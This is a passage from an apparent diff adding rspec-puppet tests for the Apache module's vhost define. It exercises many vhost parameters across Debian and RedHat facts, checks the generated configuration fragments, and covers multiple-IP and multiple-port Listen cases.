'/etc/apache2/vhosts.d/25-rspec.example.com.conf' + ) } + end + end + describe 'os-independent items' do + let :facts do + { + :osfamily => 'Debian', + :operatingsystemrelease => '6', + :concat_basedir => '/dne', + :lsbdistcodename => 'squeeze', + :operatingsystem => 'Debian', + :id => 'root', + :kernel => 'Linux', + :path => '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin', + :is_pe => false, + } + end + describe 'basic assumptions' do + let :params do default_params end + it { is_expected.to contain_class("apache") } + it { is_expected.to contain_class("apache::params") } + it { is_expected.to contain_apache__listen(params[:port]) } + it { is_expected.to contain_apache__namevirtualhost("*:#{params[:port]}") } + end + context 'set everything!' do + let :params do + { + 'docroot' => '/var/www/foo', + 'manage_docroot' => false, + 'virtual_docroot' => true, + 'port' => '8080', + 'ip' => '127.0.0.1', + 'ip_based' => true, + 'add_listen' => false, + 'docroot_owner' => 'user', + 'docroot_group' => 'wheel', + 'docroot_mode' => '0664', + 'serveradmin' => 'foo@localhost', + 'ssl' => true, + 'ssl_cert' => '/ssl/cert', + 'ssl_key' => '/ssl/key', + 'ssl_chain' => '/ssl/chain', + 'ssl_crl_path' => '/ssl/crl', + 'ssl_crl' => 'foo.crl', + 'ssl_certs_dir' => '/ssl/certs', + 'ssl_protocol' => 'SSLv2', + 'ssl_cipher' => 'HIGH', + 'ssl_honorcipherorder' => 'Off', + 'ssl_verify_client' => 'optional', + 'ssl_verify_depth' => '3', + 'ssl_options' => '+ExportCertData', + 'ssl_openssl_conf_cmd' => 'DHParameters "foo.pem"', + 'ssl_proxy_verify' => 'require', + 'ssl_proxy_check_peer_cn' => 'on', + 'ssl_proxy_check_peer_name' => 'on', + 'ssl_proxy_check_peer_expire' => 'on', + 'ssl_proxyengine' => true, + 'ssl_proxy_protocol' => 'TLSv1.2', + + 'priority' => '30', + 'default_vhost' => true, + 'servername' => 'example.com', + 'serveraliases' => ['test-example.com'], + 'options' => ['MultiView'], + 'override' => ['All'], + 'directoryindex' => 'index.html', + 'vhost_name' => 'test', + 'logroot' => '/var/www/logs', + 'logroot_ensure' => 'directory', + 'logroot_mode' => '0600', + 'logroot_owner' => 'root', + 'logroot_group' => 'root', + 'log_level' => 'crit', + 'access_log' => false, + 'access_log_file' => 'httpd_access_log', + 'access_log_syslog' => true, + 'access_log_format' => '%h %l %u %t \"%r\" %>s %b', + 'access_log_env_var' => '', + 'aliases' => '/image', + 'directories' => [ + { + 'path' => '/var/www/files', + 'provider' => 'files', + 'require' => [ 'valid-user', 'all denied', ], + }, + { + 'path' => '/var/www/files', + 'provider' => 'files', + 'additional_includes' => [ '/custom/path/includes', '/custom/path/another_includes', ], + }, + { + 'path' => '/var/www/files', + 'provider' => 'files', + 'require' => 'all granted', + }, + { + 'path' => '/var/www/files', + 'provider' => 'files', + 'require' => + { + 'enforce' => 'all', + 'requires' => ['all-valid1', 'all-valid2'], + }, + }, + { + 'path' => '/var/www/files', + 'provider' => 'files', + 'require' => + { + 'enforce' => 'none', + 'requires' => ['none-valid1', 'none-valid2'], + }, + }, + { + 'path' => '/var/www/files', + 'provider' => 'files', + 'require' => + { + 'enforce' => 'any', + 'requires' => ['any-valid1', 'any-valid2'], + }, + }, + { + 'path' => '*', + 'provider' => 'proxy', + }, + { 'path' => '/var/www/files/indexed_directory', + 'directoryindex' => 'disabled', + 'options' => ['Indexes','FollowSymLinks','MultiViews'], + 'index_options' => ['FancyIndexing'], + 'index_style_sheet' => '/styles/style.css', + }, + { 'path' => '/var/www/files/output_filtered', + 'set_output_filter' => 'output_filter', + }, + { 'path' => '/var/www/files', + 'provider' => 'location', + 'limit' => [ + { 'methods' => 'GET HEAD', + 'require' => ['valid-user'] + }, + ], + }, + { 'path' => '/var/www/files', + 'provider' => 'location', + 'limit_except' => [ + { 'methods' => 'GET HEAD', + 'require' => ['valid-user'] + }, + ], + }, + { 'path' => '/var/www/dav', + 'dav' => 'filesystem', + 'dav_depth_infinity' => true, + 'dav_min_timeout' => '600', + }, + ], + 'error_log' => false, + 'error_log_file' => 'httpd_error_log', + 'error_log_syslog' => true, + 'error_documents' => 'true', + 'fallbackresource' => '/index.php', + 'scriptalias' => '/usr/lib/cgi-bin', + 'scriptaliases' => [ + { + 'alias' => '/myscript', + 'path' => '/usr/share/myscript', + }, + { + 'aliasmatch' => '^/foo(.*)', + 'path' => '/usr/share/fooscripts$1', + }, + ], + 'proxy_dest' => '/', + 'proxy_pass' => [ + { + 'path' => '/a', + 'url' => 'http://backend-a/', + 'keywords' => ['noquery', 'interpolate'], + 'no_proxy_uris' => ['/a/foo', '/a/bar'], + 'no_proxy_uris_match' => ['/a/foomatch'], + 'reverse_cookies' => [ + { + 'path' => '/a', + 'url' => 'http://backend-a/', + }, + { + 'domain' => 'foo', + 'url' => 'http://foo', + } + ], + 'params' => { + 'retry' => '0', + 'timeout' => '5' + }, + 'setenv' => ['proxy-nokeepalive 1','force-proxy-request-1.0 1'], + } + ], + 'proxy_pass_match' => [ + { + 'path' => '/a', + 'url' => 'http://backend-a/', + 'keywords' => ['noquery', 'interpolate'], + 'no_proxy_uris' => ['/a/foo', '/a/bar'], + 'no_proxy_uris_match' => ['/a/foomatch'], + 'params' => { + 'retry' => '0', + 'timeout' => '5' + }, + 'setenv' => ['proxy-nokeepalive 1','force-proxy-request-1.0 1'], + } + ], + 'suphp_addhandler' => 'foo', + 'suphp_engine' => 'on', + 'suphp_configpath' => '/var/www/html', + 'php_admin_flags' => ['foo', 'bar'], + 'php_admin_values' => ['true', 'false'], + 'no_proxy_uris' => '/foo', + 'no_proxy_uris_match' => '/foomatch', + 'proxy_preserve_host' => true, + 'proxy_add_headers' => true, + 'proxy_error_override' => true, + 'redirect_source' => '/bar', + 'redirect_dest' => '/', + 'redirect_status' => 'temp', + 'redirectmatch_status' => ['404'], + 'redirectmatch_regexp' => ['\.git$'], + 'redirectmatch_dest' => ['http://www.example.com'], + 'rack_base_uris' => ['/rackapp1'], + 'passenger_base_uris' => ['/passengerapp1'], + 'headers' => 'Set X-Robots-Tag "noindex, noarchive, nosnippet"', + 'request_headers' => ['append MirrorID "mirror 12"'], + 'rewrites' => [ + { + 'rewrite_rule' => ['^index\.html$ welcome.html'] + } + ], + 'filters' => [ + 'FilterDeclare COMPRESS', + 'FilterProvider COMPRESS DEFLATE resp=Content-Type $text/html', + 'FilterProvider COMPRESS DEFLATE resp=Content-Type $text/css', + 'FilterProvider COMPRESS DEFLATE resp=Content-Type $text/plain', + 'FilterProvider COMPRESS DEFLATE resp=Content-Type $text/xml', + 'FilterChain COMPRESS', + 'FilterProtocol COMPRESS DEFLATE change=yes;byteranges=no', + ], + 'rewrite_base' => '/', + 'rewrite_rule' => '^index\.html$ welcome.html', + 'rewrite_cond' => '%{HTTP_USER_AGENT} ^MSIE', + 'rewrite_inherit' => true, + 'setenv' => ['FOO=/bin/true'], + 'setenvif' => 'Request_URI "\.gif$" object_is_image=gif', + 'setenvifnocase' => 'REMOTE_ADDR ^127.0.0.1 localhost=true', + 'block' => 'scm', + 'wsgi_application_group' => '%{GLOBAL}', + 'wsgi_daemon_process' => 'wsgi', + 'wsgi_daemon_process_options' => { + 'processes' => '2', + 'threads' => '15', + 'display-name' => '%{GROUP}', + }, + 'wsgi_import_script' => '/var/www/demo.wsgi', + 'wsgi_import_script_options' => { + 'process-group' => 'wsgi', + 'application-group' => '%{GLOBAL}' + }, + 'wsgi_process_group' => 'wsgi', + 'wsgi_script_aliases' => { + '/' => '/var/www/demo.wsgi' + }, + 'wsgi_script_aliases_match' => { + '^/test/(^[/*)' => '/var/www/demo.wsgi' + }, + 'wsgi_pass_authorization' => 'On', + 'custom_fragment' => '#custom string', + 'itk' => { + 'user' => 'someuser', + 'group' => 'somegroup' + }, + 'wsgi_chunked_request' => 'On', + 'action' => 'foo', + 'fastcgi_server' => 'localhost', + 'fastcgi_socket' => '/tmp/fastcgi.socket', + 'fastcgi_dir' => '/tmp', + 'fastcgi_idle_timeout' => '120', + 'additional_includes' => '/custom/path/includes', + 'apache_version' => '2.4', + 'use_optional_includes' => true, + 'suexec_user_group' => 'root root', + 'allow_encoded_slashes' => 'nodecode', + 'passenger_app_root' => '/usr/share/myapp', + 'passenger_app_env' => 'test', + 'passenger_ruby' => '/usr/bin/ruby1.9.1', + 'passenger_min_instances' => '1', + 'passenger_max_requests' => '1000', + 'passenger_start_timeout' => '600', + 'passenger_pre_start' => 'http://localhost/myapp', + 'passenger_high_performance' => true, + 'passenger_user' => 'sandbox', + 'passenger_nodejs' => '/usr/bin/node', + 'passenger_sticky_sessions' => true, + 'passenger_startup_file' => 'bin/www', + 'add_default_charset' => 'UTF-8', + 'jk_mounts' => [ + { 'mount' => '/*', 'worker' => 'tcnode1', }, + { 'unmount' => '/*.jpg', 'worker' => 'tcnode1', }, + ], + 'auth_kerb' => true, + 'krb_method_negotiate' => 'off', + 'krb_method_k5passwd' => 'off', + 'krb_authoritative' => 'off', + 'krb_auth_realms' => ['EXAMPLE.ORG','EXAMPLE.NET'], + 'krb_5keytab' => '/tmp/keytab5', + 'krb_local_user_mapping' => 'off', + 'http_protocol_options' => 'Strict LenientMethods Allow0.9', + 'keepalive' => 'on', + 'keepalive_timeout' => '100', + 'max_keepalive_requests' => '1000', + } + end + let :facts do + { + :osfamily => 'RedHat', + :operatingsystemrelease => '7', + :concat_basedir => '/dne', + :operatingsystem => 'RedHat', + :id => 'root', + :kernel => 'Linux', + :path => '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin', + :kernelversion => '3.6.2', + :is_pe => false, + } + end + + it { is_expected.to compile } + it { is_expected.to_not contain_file('/var/www/foo') } + it { is_expected.to contain_class('apache::mod::ssl') } + it { is_expected.to contain_file('ssl.conf').with( + :content => /^\s+SSLHonorCipherOrder On$/ ) } + it { is_expected.to contain_file('ssl.conf').with( + :content => /^\s+SSLPassPhraseDialog builtin$/ ) } + it { is_expected.to contain_file('ssl.conf').with( + :content => /^\s+SSLSessionCacheTimeout 300$/ ) } + it { is_expected.to contain_class('apache::mod::mime') } + it { is_expected.to contain_class('apache::mod::vhost_alias') } + it { is_expected.to contain_class('apache::mod::wsgi') } + it { is_expected.to contain_class('apache::mod::suexec') } + it { is_expected.to contain_class('apache::mod::passenger') } + it { is_expected.to contain_file('/var/www/logs').with({ + 'ensure' => 'directory', + 'mode' => '0600', + }) + } + it { is_expected.to contain_class('apache::mod::rewrite') } + it { is_expected.to contain_class('apache::mod::alias') } + it { is_expected.to contain_class('apache::mod::proxy') } + it { is_expected.to contain_class('apache::mod::proxy_http') } + it { is_expected.to contain_class('apache::mod::passenger') } + it { is_expected.to contain_class('apache::mod::passenger') } + it { is_expected.to contain_class('apache::mod::fastcgi') } + it { is_expected.to contain_class('apache::mod::headers') } + it { is_expected.to contain_class('apache::mod::filter') } + it { is_expected.to contain_class('apache::mod::env') } + it { is_expected.to contain_class('apache::mod::setenvif') } + it { is_expected.to contain_concat('30-rspec.example.com.conf').with({ + 'owner' => 'root', + 'mode' => '0644', + 'require' => 'Package[httpd]', + 'notify' => 'Class[Apache::Service]', + }) + } + it { is_expected.to contain_file('30-rspec.example.com.conf symlink').with({ + 'ensure' => 'link', + 'path' => '/etc/apache2/sites-enabled/30-rspec.example.com.conf', + }) + } + it { is_expected.to contain_concat__fragment('rspec.example.com-apache-header') } + it { is_expected.to contain_concat__fragment('rspec.example.com-docroot') } + it { is_expected.to contain_concat__fragment('rspec.example.com-aliases') } + it { is_expected.to contain_concat__fragment('rspec.example.com-itk') } + it { is_expected.to contain_concat__fragment('rspec.example.com-fallbackresource') } + it { is_expected.to contain_concat__fragment('rspec.example.com-directories') } + it { is_expected.to contain_concat__fragment('rspec.example.com-directories').with( + :content => /^\s+$/ ) } + it { is_expected.to contain_concat__fragment('rspec.example.com-directories').with( + :content => /^\s+Include\s'\/custom\/path\/includes'$/ ) } + it { is_expected.to contain_concat__fragment('rspec.example.com-directories').with( + :content => /^\s+Include\s'\/custom\/path\/another_includes'$/ ) } + it { is_expected.to contain_concat__fragment('rspec.example.com-directories').with( + :content => /^\s+Require valid-user$/ ) } + it { is_expected.to contain_concat__fragment('rspec.example.com-directories').with( + :content => /^\s+Require all denied$/ ) } + it { is_expected.to contain_concat__fragment('rspec.example.com-directories').with( + :content => /^\s+Require all granted$/ ) } + it { is_expected.to contain_concat__fragment('rspec.example.com-directories').with( + :content => /^\s+$/ ) } + it { is_expected.to contain_concat__fragment('rspec.example.com-directories').with( + :content => /^\s+<\/RequireAll>$/ ) } + it { is_expected.to contain_concat__fragment('rspec.example.com-directories').with( + :content => /^\s+Require all-valid1$/ ) } + it { is_expected.to contain_concat__fragment('rspec.example.com-directories').with( + :content => /^\s+Require all-valid2$/ ) } + it { is_expected.to contain_concat__fragment('rspec.example.com-directories').with( + :content => /^\s+$/ ) } + it { is_expected.to contain_concat__fragment('rspec.example.com-directories').with( + :content => /^\s+<\/RequireNone>$/ ) } + it { is_expected.to contain_concat__fragment('rspec.example.com-directories').with( + :content => /^\s+Require none-valid1$/ ) } + it { is_expected.to contain_concat__fragment('rspec.example.com-directories').with( + :content => /^\s+Require none-valid2$/ ) } + it { is_expected.to contain_concat__fragment('rspec.example.com-directories').with( + :content => /^\s+$/ ) } + it { is_expected.to contain_concat__fragment('rspec.example.com-directories').with( + :content => /^\s+<\/RequireAny>$/ ) } + it { is_expected.to contain_concat__fragment('rspec.example.com-directories').with( + :content => /^\s+Require any-valid1$/ ) } + it { is_expected.to contain_concat__fragment('rspec.example.com-directories').with( + :content => /^\s+Require any-valid2$/ ) } + it { is_expected.to contain_concat__fragment('rspec.example.com-directories').with( + :content => /^\s+Options\sIndexes\sFollowSymLinks\sMultiViews$/ ) } + it { is_expected.to contain_concat__fragment('rspec.example.com-directories').with( + :content => /^\s+IndexOptions\sFancyIndexing$/ ) } + it { is_expected.to contain_concat__fragment('rspec.example.com-directories').with( + :content => /^\s+IndexStyleSheet\s'\/styles\/style\.css'$/ ) } + it { is_expected.to contain_concat__fragment('rspec.example.com-directories').with( + :content => /^\s+DirectoryIndex\sdisabled$/ ) } + it { is_expected.to contain_concat__fragment('rspec.example.com-directories').with( + :content => /^\s+SetOutputFilter\soutput_filter$/ ) } + it { is_expected.to contain_concat__fragment('rspec.example.com-directories').with( + :content => /^\s+$/ ) } + it { is_expected.to contain_concat__fragment('rspec.example.com-directories').with( + :content => /\s+\s*Require valid-user\s*<\/Limit>/m ) } + it { is_expected.to contain_concat__fragment('rspec.example.com-directories').with( + :content => /^\s+$/ ) } + it { is_expected.to contain_concat__fragment('rspec.example.com-directories').with( + :content => /\s+\s*Require valid-user\s*<\/LimitExcept>/m ) } + it { is_expected.to contain_concat__fragment('rspec.example.com-directories').with( + :content => /^\s+Dav\sfilesystem$/ ) } + it { is_expected.to contain_concat__fragment('rspec.example.com-directories').with( + :content => /^\s+DavDepthInfinity\sOn$/ ) } + it { is_expected.to contain_concat__fragment('rspec.example.com-directories').with( + :content => /^\s+DavMinTimeout\s600$/ ) } + it { is_expected.to contain_concat__fragment('rspec.example.com-additional_includes') } + it { is_expected.to contain_concat__fragment('rspec.example.com-logging') } + it { is_expected.to contain_concat__fragment('rspec.example.com-serversignature') } + it { is_expected.to_not contain_concat__fragment('rspec.example.com-access_log') } + it { is_expected.to contain_concat__fragment('rspec.example.com-action') } + it { is_expected.to contain_concat__fragment('rspec.example.com-block') } + it { is_expected.to contain_concat__fragment('rspec.example.com-error_document') } + it { is_expected.to contain_concat__fragment('rspec.example.com-proxy').with_content( + /retry=0/) } + it { is_expected.to contain_concat__fragment('rspec.example.com-proxy').with_content( + /timeout=5/) } + it { is_expected.to contain_concat__fragment('rspec.example.com-proxy').with_content( + /SetEnv force-proxy-request-1.0 1/) } + it { is_expected.to contain_concat__fragment('rspec.example.com-proxy').with_content( + /SetEnv proxy-nokeepalive 1/) } + it { is_expected.to contain_concat__fragment('rspec.example.com-proxy').with_content( + /noquery interpolate/) } + it { is_expected.to contain_concat__fragment('rspec.example.com-proxy').with_content( + /ProxyPreserveHost On/) } + it { is_expected.to contain_concat__fragment('rspec.example.com-proxy').with_content( + /ProxyAddHeaders On/) } + it { is_expected.to contain_concat__fragment('rspec.example.com-proxy').with_content( + /ProxyPassReverseCookiePath\s+\/a\s+http:\/\//) } + it { is_expected.to contain_concat__fragment('rspec.example.com-proxy').with_content( + /ProxyPassReverseCookieDomain\s+foo\s+http:\/\/foo/) } + it { is_expected.to contain_concat__fragment('rspec.example.com-rack') } + it { is_expected.to contain_concat__fragment('rspec.example.com-redirect') } + it { is_expected.to contain_concat__fragment('rspec.example.com-rewrite') } + it { is_expected.to contain_concat__fragment('rspec.example.com-rewrite').with( + :content => /^\s+RewriteOptions Inherit$/ ) } + it { is_expected.to contain_concat__fragment('rspec.example.com-scriptalias') } + it { is_expected.to contain_concat__fragment('rspec.example.com-serveralias') } + it { is_expected.to contain_concat__fragment('rspec.example.com-setenv').with_content( + %r{SetEnv FOO=/bin/true}) } + it { is_expected.to contain_concat__fragment('rspec.example.com-setenv').with_content( + %r{SetEnvIf Request_URI "\\.gif\$" object_is_image=gif}) } + it { is_expected.to contain_concat__fragment('rspec.example.com-setenv').with_content( + %r{SetEnvIfNoCase REMOTE_ADDR \^127.0.0.1 localhost=true}) } + it { is_expected.to contain_concat__fragment('rspec.example.com-ssl') } + it { is_expected.to contain_concat__fragment('rspec.example.com-ssl').with( + :content => /^\s+SSLOpenSSLConfCmd\s+DHParameters "foo.pem"$/ ) } + it { is_expected.to contain_concat__fragment('rspec.example.com-sslproxy') } + it { is_expected.to contain_concat__fragment('rspec.example.com-sslproxy').with( + :content => /^\s+SSLProxyEngine On$/ ) } + it { is_expected.to contain_concat__fragment('rspec.example.com-sslproxy').with( + :content => /^\s+SSLProxyCheckPeerCN\s+on$/ ) } + it { is_expected.to contain_concat__fragment('rspec.example.com-sslproxy').with( + :content => /^\s+SSLProxyCheckPeerName\s+on$/ ) } + it { is_expected.to contain_concat__fragment('rspec.example.com-sslproxy').with( + :content => /^\s+SSLProxyCheckPeerExpire\s+on$/ ) } + it { is_expected.to contain_concat__fragment('rspec.example.com-sslproxy').with( + :content => /^\s+SSLProxyProtocol\s+TLSv1.2$/ ) } + it { is_expected.to contain_concat__fragment('rspec.example.com-suphp') } + it { is_expected.to contain_concat__fragment('rspec.example.com-php_admin') } + it { is_expected.to contain_concat__fragment('rspec.example.com-header') } + it { is_expected.to contain_concat__fragment('rspec.example.com-filters').with( + :content => /^\s+FilterDeclare COMPRESS$/ ) } + it { is_expected.to contain_concat__fragment('rspec.example.com-requestheader') } + it { is_expected.to contain_concat__fragment('rspec.example.com-wsgi') } + it { is_expected.to contain_concat__fragment('rspec.example.com-custom_fragment') } + it { is_expected.to contain_concat__fragment('rspec.example.com-fastcgi') } + it { is_expected.to contain_concat__fragment('rspec.example.com-suexec') } + it { is_expected.to contain_concat__fragment('rspec.example.com-allow_encoded_slashes') } + it { is_expected.to contain_concat__fragment('rspec.example.com-passenger') } + it { is_expected.to contain_concat__fragment('rspec.example.com-charsets') } + it { is_expected.to_not contain_concat__fragment('rspec.example.com-security') } + it { is_expected.to contain_concat__fragment('rspec.example.com-file_footer') } + it { is_expected.to contain_concat__fragment('rspec.example.com-jk_mounts').with( + :content => /^\s+JkMount\s+\/\*\s+tcnode1$/)} + it { is_expected.to contain_concat__fragment('rspec.example.com-jk_mounts').with( + :content => /^\s+JkUnMount\s+\/\*\.jpg\s+tcnode1$/)} + it { is_expected.to contain_concat__fragment('rspec.example.com-auth_kerb').with( + :content => /^\s+KrbMethodNegotiate\soff$/)} + it { is_expected.to contain_concat__fragment('rspec.example.com-auth_kerb').with( + :content => /^\s+KrbAuthoritative\soff$/)} + it { is_expected.to contain_concat__fragment('rspec.example.com-auth_kerb').with( + :content => /^\s+KrbAuthRealms\sEXAMPLE.ORG\sEXAMPLE.NET$/)} + it { is_expected.to contain_concat__fragment('rspec.example.com-auth_kerb').with( + :content => /^\s+Krb5Keytab\s\/tmp\/keytab5$/)} + it { is_expected.to contain_concat__fragment('rspec.example.com-auth_kerb').with( + :content => /^\s+KrbLocalUserMapping\soff$/)} + it { is_expected.to contain_concat__fragment('rspec.example.com-auth_kerb').with( + :content => /^\s+KrbServiceName\sHTTP$/)} + it { is_expected.to contain_concat__fragment('rspec.example.com-auth_kerb').with( + :content => /^\s+KrbSaveCredentials\soff$/)} + it { is_expected.to contain_concat__fragment('rspec.example.com-auth_kerb').with( + :content => /^\s+KrbVerifyKDC\son$/)} + it { is_expected.to contain_concat__fragment('rspec.example.com-http_protocol_options').with( + :content => /^\s*HttpProtocolOptions\s+Strict\s+LenientMethods\s+Allow0\.9$/)} + it { is_expected.to contain_concat__fragment('rspec.example.com-keepalive_options').with( + :content => /^\s+KeepAlive\son$/)} + it { is_expected.to contain_concat__fragment('rspec.example.com-keepalive_options').with( + :content => /^\s+KeepAliveTimeout\s100$/)} + it { is_expected.to contain_concat__fragment('rspec.example.com-keepalive_options').with( + :content => /^\s+MaxKeepAliveRequests\s1000$/)} + end + context 'vhost with multiple ip addresses' do + let :params do + { + 'port' => '80', + 'ip' => ['127.0.0.1','::1'], + 'ip_based' => true, + 'servername' => 'example.com', + 'docroot' => '/var/www/html', + 'add_listen' => true, + 'ensure' => 'present' + } + end + let :facts do + { + :osfamily => 'RedHat', + :operatingsystemrelease => '7', + :concat_basedir => '/dne', + :operatingsystem => 'RedHat', + :id => 'root', + :kernel => 'Linux', + :path => '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin', + :kernelversion => '3.6.2', + :is_pe => false, + } + end + + it { is_expected.to compile } + it { is_expected.to contain_concat__fragment('rspec.example.com-apache-header').with( + :content => /[.\/m]*[.\/m]*$/ ) } + it { is_expected.to contain_concat__fragment('Listen 127.0.0.1:80') } + it { is_expected.to contain_concat__fragment('Listen [::1]:80') } + it { is_expected.to_not contain_concat__fragment('NameVirtualHost 127.0.0.1:80') } + it { is_expected.to_not contain_concat__fragment('NameVirtualHost [::1]:80') } + end + + context 'vhost with multiple ports' do + let :params do + { + 'port' => ['80', '8080'], + 'ip' => '127.0.0.1', + 'ip_based' => true, + 'servername' => 'example.com', + 'docroot' => '/var/www/html', + 'add_listen' => true, + 'ensure' => 'present' + } + end + let :facts do + { + :osfamily => 'RedHat', + :operatingsystemrelease => '7', + :concat_basedir => '/dne', + :operatingsystem => 'RedHat', + :id => 'root', + :kernel => 'Linux', + :path => '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin', + :kernelversion => '3.6.2', + :is_pe => false, + } + end + + it { is_expected.to compile } + it { is_expected.to contain_concat__fragment('rspec.example.com-apache-header').with( + :content => /[.\/m]*[.\/m]*$/ ) } + it { is_expected.to contain_concat__fragment('Listen 127.0.0.1:80') } + it { is_expected.to contain_concat__fragment('Listen 127.0.0.1:8080') } + it { is_expected.to_not contain_concat__fragment('NameVirtualHost 127.0.0.1:80') } + it { is_expected.to_not contain_concat__fragment('NameVirtualHost 127.0.0.1:8080') } + end + + context 'vhost with multiple ip addresses, multiple ports' do + let :params do + { + 'port' => ['80', '8080'], + 'ip' => ['127.0.0.1','::1'], + 'ip_based' => true, + 'servername' => 'example.com', + 'docroot' => '/var/www/html', + 'add_listen' => true, + 'ensure' => 'present' + } + end + let :facts do + { + :osfamily => 'RedHat', + :operatingsystemrelease => '7', + :concat_basedir => '/dne', + :operatingsystem => 'RedHat', + :id => 'root', + :kernel => 'Linux', + :path => '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin', + :kernelversion => '3.6.2', + :is_pe => false, + } + end + + it { is_expected.to compile } + it { is_expected.to contain_concat__fragment('rspec.example.com-apache-header').with( + :content => /[.\/m]*[.\/m]*$/ ) } + it { is_expected.to contain_concat__fragment('Listen 127.0.0.1:80') } + it { is_expected.to contain_concat__fragment('Listen 127.0.0.1:8080') } + it { is_expected.to contain_concat__fragment('Listen [::1]:80') } + it { is_expected.to contain_concat__fragment('Listen [::1]:8080') } + it { is_expected.to_not contain_concat__fragment('NameVirtualHost 127.0.0.1:80') } + it { is_expected.to_not contain_concat__fragment('NameVirtualHost 127.0.0.1:8080') } + it { is_expected.to_not contain_concat__fragment('NameVirtualHost [::1]:80') } + it { is_expected.to_not contain_concat__fragment('NameVirtualHost [::1]:8080') } + end + + context 'vhost with ipv6 address' do + let :params do + { + 'port' => '80', + 'ip' => '::1', + 'ip_based' => true, + 'servername' => 'example.com', + 'docroot' => '/var/www/html', + 'add_listen' => true, + 'ensure' => 'present' + } + end + let :facts do + { + :osfamily => 'RedHat', + :operatingsystemrelease => '7', + :concat_basedir => '/dne', + :operatingsystem => 'RedHat', + :id => 'root', + :kernel => 'Linux', + :path => '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin', + :kernelversion => '3.6.2', + :is_pe => false, + } + end + + it { is_expected.to compile } + it { is_expected.to contain_concat__fragment('rspec.example.com-apache-header').with( + :content => /[.\/m]*[.\/m]*$/ ) } + it { is_expected.to contain_concat__fragment('Listen [::1]:80') } + it { is_expected.to_not contain_concat__fragment('NameVirtualHost [::1]:80') } + end + + context 'vhost with wildcard ip address' do + let :params do + { + 'port' => '80', + 'ip' => '*', + 'ip_based' => true, + 'servername' => 'example.com', + 'docroot' => '/var/www/html', + 'add_listen' => true, + 'ensure' => 'present' + } + end + let :facts do + { + :osfamily => 'RedHat', + :operatingsystemrelease => '7', + :concat_basedir => '/dne', + :operatingsystem => 'RedHat', + :id => 'root', + :kernel => 'Linux', + :path => '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin', + :kernelversion => '3.6.2', + :is_pe => false, + } + end + + it { is_expected.to compile } + it { is_expected.to contain_concat__fragment('rspec.example.com-apache-header').with( + :content => /[.\/m]*[.\/m]*$/ ) } + it { is_expected.to contain_concat__fragment('Listen *:80') } + it { is_expected.to_not contain_concat__fragment('NameVirtualHost *:80') } + end + + context 'modsec_audit_log' do + let :params do + { + 'docroot' => '/rspec/docroot', + 'modsec_audit_log' => true, + } + end + it { is_expected.to compile } + it { is_expected.to contain_concat__fragment('rspec.example.com-security').with( + :content => /^\s*SecAuditLog "\/var\/log\/apache2\/rspec\.example\.com_security\.log"$/ ) } + end + context 'modsec_audit_log_file' do + let :params do + { + 'docroot' => '/rspec/docroot', + 'modsec_audit_log_file' => 'foo.log', + } + end + it { is_expected.to compile } + it { is_expected.to contain_concat__fragment('rspec.example.com-security').with( + :content => /\s*SecAuditLog "\/var\/log\/apache2\/foo.log"$/ ) } + end + context 'set only aliases' do + let :params do + { + 'docroot' => '/rspec/docroot', + 'aliases' => [ + { + 'alias' => '/alias', + 'path' => '/rspec/docroot', + }, + ] + } + end + it { is_expected.to contain_class('apache::mod::alias')} + end + context 'proxy_pass_match' do + let :params do + { + 'docroot' => '/rspec/docroot', + 'proxy_pass_match' => [ + { + 'path' => '.*', + 'url' => 'http://backend-a/', + 'params' => { 'timeout' => 300 }, + } + ], + } + end + it { is_expected.to contain_concat__fragment('rspec.example.com-proxy').with_content( + /ProxyPassMatch .* http:\/\/backend-a\/ timeout=300/).with_content(/## Proxy rules/) } + end + context 'proxy_dest_match' do + let :params do + { + 'docroot' => '/rspec/docroot', + 'proxy_dest_match' => '/' + } + end + it { is_expected.to contain_concat__fragment('rspec.example.com-proxy').with_content(/## Proxy rules/) } + end + context 'not everything can be set together...' do + let :params do + { + 'access_log_pipe' => '/dev/null', + 'error_log_pipe' => '/dev/null', + 'docroot' => '/var/www/foo', + 'ensure' => 'absent', + 'manage_docroot' => true, + 'logroot' => '/tmp/logroot', + 'logroot_ensure' => 'absent', + 'directories' => [ + { + 'path' => '/var/www/files', + 'provider' => 'files', + 'allow' => [ 'from 127.0.0.1', 'from 127.0.0.2', ], + 'deny' => [ 'from 127.0.0.3', 'from 127.0.0.4', ], + 'satisfy' => 'any', + }, + { + 'path' => '/var/www/foo', + 'provider' => 'files', + 'allow' => 'from 127.0.0.5', + 'deny' => 'from all', + 'order' => 'deny,allow', + }, + ], + + } + end + let :facts do + { + :osfamily => 'RedHat', + :operatingsystemrelease => '6', + :concat_basedir => '/dne', + :operatingsystem => 'RedHat', + :id => 'root', + :kernel => 'Linux', + :path => '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin', + :kernelversion => '3.6.2', + :is_pe => false, + } + end + + it { is_expected.to compile } + it { is_expected.to_not contain_class('apache::mod::ssl') } + it { is_expected.to_not contain_class('apache::mod::mime') } + it { is_expected.to_not contain_class('apache::mod::vhost_alias') } + it { is_expected.to_not contain_class('apache::mod::wsgi') } + it { is_expected.to_not contain_class('apache::mod::passenger') } + it { is_expected.to_not contain_class('apache::mod::suexec') } + it { is_expected.to_not contain_class('apache::mod::rewrite') } + it { is_expected.to_not contain_class('apache::mod::alias') } + it { is_expected.to_not contain_class('apache::mod::proxy') } + it { is_expected.to_not contain_class('apache::mod::proxy_http') } + it { is_expected.to_not contain_class('apache::mod::passenger') } + it { is_expected.to_not contain_class('apache::mod::headers') } + it { is_expected.to contain_file('/var/www/foo') } + it { is_expected.to contain_file('/tmp/logroot').with({ + 'ensure' => 'absent', + }) + } + it { is_expected.to contain_concat('25-rspec.example.com.conf').with({ + 'ensure' => 'absent', + }) + } + it { is_expected.to contain_concat__fragment('rspec.example.com-apache-header') } + it { is_expected.to contain_concat__fragment('rspec.example.com-docroot') } + it { is_expected.to_not contain_concat__fragment('rspec.example.com-aliases') } + it { is_expected.to_not contain_concat__fragment('rspec.example.com-itk') } + it { is_expected.to_not contain_concat__fragment('rspec.example.com-fallbackresource') } + it { is_expected.to 